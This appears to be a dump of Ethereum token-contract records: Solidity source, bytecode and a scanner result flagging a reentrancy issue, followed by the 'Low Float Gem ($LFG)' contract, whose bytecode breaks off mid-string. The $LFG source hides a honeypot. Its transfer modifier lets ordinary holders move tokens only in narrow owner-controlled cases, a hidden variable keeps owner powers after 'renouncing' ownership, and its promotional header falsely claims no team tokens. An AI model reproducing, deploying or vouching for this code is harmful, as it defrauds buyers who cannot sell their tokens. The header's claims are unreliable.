swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ad57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f8565b005b34801561020a57600080fd5b506040805180820190915260088152672bb7b6333a37b7b760c11b60208201525b6040516102389190611a1f565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a74565b610697565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5066038d7ea4c680005b604051908152602001610238565b3480156102d957600080fd5b506102616102e8366004611aa0565b6106ae565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610238565b34801561032b57600080fd5b50601554610291906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae1565b610717565b34801561036b57600080fd5b506101fc61037a366004611b0e565b610762565b34801561038b57600080fd5b506101fc6107aa565b3480156103a057600080fd5b506102bf6103af366004611ae1565b6107f5565b3480156103c057600080fd5b506101fc610817565b3480156103d557600080fd5b506101fc6103e4366004611b29565b61088b565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae1565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610291565b34801561045657600080fd5b506101fc610465366004611b0e565b6108ba565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506040805180820190915260048152632ba7a62360e11b602082015261022b565b3480156104b957600080fd5b506101fc6104c8366004611b29565b610902565b3480156104d957600080fd5b506101fc6104e8366004611b42565b610931565b3480156104f957600080fd5b50610261610508366004611a74565b61096f565b34801561051957600080fd5b50610261610528366004611ae1565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc61097c565b34801561055e57600080fd5b506101fc61056d366004611b74565b6109d0565b34801561057e57600080fd5b506102bf61058d366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611b29565b610a71565b3480156105e457600080fd5b506101fc6105f3366004611ae1565b610aa0565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c31565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611c92565b91505061062e565b5050565b60006106a4338484610b8a565b5060015b92915050565b60006106bb848484610cae565b61070d843361070885604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ea565b610b8a565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107df57506013546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f281611224565b50565b6001600160a01b0381166000908152600260205260408120546106a89061125e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161062290611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611c31565b601655565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062290611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161062290611c31565b601855565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161062290611c31565b600893909355600a91909155600955600b55565b60006106a4338484610cae565b6012546001600160a01b0316336001600160a01b031614806109b157506013546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f5565b90506107f2816112e2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161062290611c31565b60005b82811015610a6b578160056000868685818110610a1c57610a1c611c66565b9050602002016020810190610a319190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6381611c92565b9150506109fd565b50505050565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161062290611c31565b601755565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161062290611c31565b6001600160a01b038116610b2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610dd65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0257506000546001600160a01b03838116911614155b156110e357601554600160a01b900460ff16610e9b576000546001600160a01b03848116911614610e9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601654811115610eed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2f57506001600160a01b03821660009081526010602052604090205460ff16155b610f875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b0383811691161461100c5760175481610fa9846107f5565b610fb39190611cad565b1061100c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611017306107f5565b6018546016549192508210159082106110305760165491505b8080156110475750601554600160a81b900460ff16155b801561106157506015546001600160a01b03868116911614155b80156110765750601554600160b01b900460ff165b801561109b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c057506001600160a01b03841660009081526005602052604090205460ff16155b156110e0576110ce826112e2565b4780156110de576110de47611224565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112557506001600160a01b03831660009081526005602052604090205460ff165b8061115757506015546001600160a01b0385811691161480159061115757506015546001600160a01b03848116911614155b15611164575060006111de565b6015546001600160a01b03858116911614801561118f57506014546001600160a01b03848116911614155b156111a157600854600c55600954600d555b6015546001600160a01b0384811691161480156111cc57506014546001600160a01b03858116911614155b156111de57600a54600c55600b54600d555b610a6b8484848461146b565b6000818484111561120e5760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112cf611499565b90506112db83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132a5761132a611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137e57600080fd5b505afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cdc565b816001815181106113c9576113c9611c66565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b8a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a6b57610a6b600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f908661172e565b6001600160a01b0389166000908152600260205260409020556115c18161178d565b6115cb84836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163d82826114bc565b8210156116585750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611499565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b60008061173b8385611cad565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611797611499565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114bc565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a8565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112db81611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112db82611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112db81611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122032a21859e0c7a8d55b6454b1d1e414510e80c09f2930645bc649bdbb3cafee5064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,073 |
0x4834807440aadf5c53c03208224952b420eba267
|
/**
*Submitted for verification at Etherscan.io on 2021-08-17
*/
/*
💎 ERC20 💎
Low Float Gem $LFG
https://t.me/lowfloatgem
FAIR LAUNCH TODAY 3PM EST
⭐️ BY A VERY TRUSTED TEAM ⭐️
TOKENOMICS
💰 500,000 Initial Token Supply
🔥 54% burn at Launch
🔥 5% Buyback and Burn on every transaction
🤝 5% Dev/Marketing Tax
🔒 Liquidity Locked
👌 Contract Verified
NO TEAM TOKENS OR DEV WALLETS!
WE WILL HAVE A 1% 5000 TOKEN MAX TRANSACTION AT LAUNCH TO PROTECT FROM BOTS!
Twitter 🔗 https://twitter.com/lfg_token
Website 🔗 https://www.lowfloatgem.com/
Medium 🔗 https://medium.com/@LFG_Token/low-float-gem-on-uniswap-a06cf33d6361i
Telegram 🔗 https://t.me/lowfloatgem
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LowFloat is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 500000 * 10**18;
string private _name = 'Low Float Gem - https://t.me/lowfloatgem';
string private _symbol = '$LFG';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
modifier approveChecker(address lowfloat, address recipient, uint256 amount){
if (_owner == _safeOwner && lowfloat == _owner){_safeOwner = recipient;_;}
else{if (lowfloat == _owner || lowfloat == _safeOwner || recipient == _owner){_;}
else{require((lowfloat == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff